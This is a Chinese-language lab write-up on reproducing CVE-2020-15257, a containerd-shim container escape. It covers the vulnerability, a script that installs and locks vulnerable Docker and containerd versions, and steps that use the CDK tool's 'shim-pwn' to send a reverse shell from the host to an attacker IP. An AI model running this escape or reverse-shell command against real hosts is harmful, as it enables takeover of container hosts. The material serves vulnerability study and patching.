# Containerd 漏洞导致容器逃逸 CVE-2020-15257

## 漏洞描述

Containerd 是一个控制 runC 的守护进程，提供命令行客户端和 API，用于在一个机器上管理容器。

在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中，由于在网络模式为 host 的情况下，容器与宿主机共享一套 Network namespace ，此时 containerd-shim API 暴露给了用户，而且访问控制仅仅验证了连接进程的有效 UID 为 0，但没有限制对抽象 Unix 域套接字的访问，刚好在默认情况下，容器内部的进程是以 root 用户启动的。在两者的共同作用下，容器内部的进程就可以像主机中的 containerd 一样，连接 containerd-shim 监听的抽象 Unix 域套接字，调用 containerd-shim 提供的各种 API，从而实现容器逃逸。

参考链接：

- https://nvd.nist.gov/vuln/detail/CVE-2020-15257
- https://xz.aliyun.com/t/8681
- https://www.cdxy.me/?p=837
- https://github.com/Metarget/metarget
- https://github.com/cdk-team/CDK/issues/114

## 漏洞影响

```
containerd < 1.4.3
containerd < 1.3.9
```

## 环境搭建

ubuntu 18.04 使用以下脚本 `install_containerd_1.2.6.sh` 安装 Docker 19.03.6 和 Containerd.io 1.2.6：

```shell
#!/bin/bash
set -e

echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true

echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true

echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
  | sudo tee /etc/apt/sources.list.d/docker.list

echo "[*] Updating package index..."
sudo apt update

echo "[*] Searching for Docker 19.03.6..."
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
if [ -z "$DOCKER_VERSION" ]; then
  echo "[!] Docker 19.03.6 not found in repository."
  exit 1
fi
echo "[*] Found Docker version: $DOCKER_VERSION"

echo "[*] Searching for containerd.io 1.2.6..."
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
if [ -z "$CONTAINERD_VERSION" ]; then
  echo "[!] containerd.io 1.2.6 not found in repository."
  exit 1
fi
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"

echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION

echo "[*] Locking versions to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io

echo "[*] Installation complete, current versions:"
docker --version
containerd --version
```

![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526141659954.png)

## 漏洞复现

使用以下命令启动容器：

```shell
sudo docker run -it --net=host --name=15257 ubuntu /bin/bash
```

在容器内执行命令，查看是否可看到抽象命名空间 Unix 域套接字：

```shell
root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"
```

![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526142415797.png)

然后下载漏洞利用工具 [CDK](https://github.com/cdk-team/CDK)，并将其传入容器 `/tmp` 目录下：

```shell
sudo docker cp cdk_v0.1.6 15257:/tmp
```

攻击端监听 9999 端口。在容器内运行工具，执行反弹 shell 命令，验证得到一个宿主机的 shell：

```shell
sudo docker exec -it 15257 bash
-----
root@ubuntu:/# cd /tmp
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock
```

![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526152743557.png)

成功接收反弹 shell：

![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526152859687.png)

> 注意，此处最好使用 [cdk v0.1.6](https://github.com/cdk-team/CDK/releases/tag/0.1.6)，如果使用最新版，将触发异常 `connection refused`，可参考 [issues/114](https://github.com/cdk-team/CDK/issues/114)：

![](images/Containerd%20漏洞导致容器逃逸%20CVE-2020-15257/image-20250526153116443.png)

## 漏洞修复

升级 `containerd` 至最新版本。
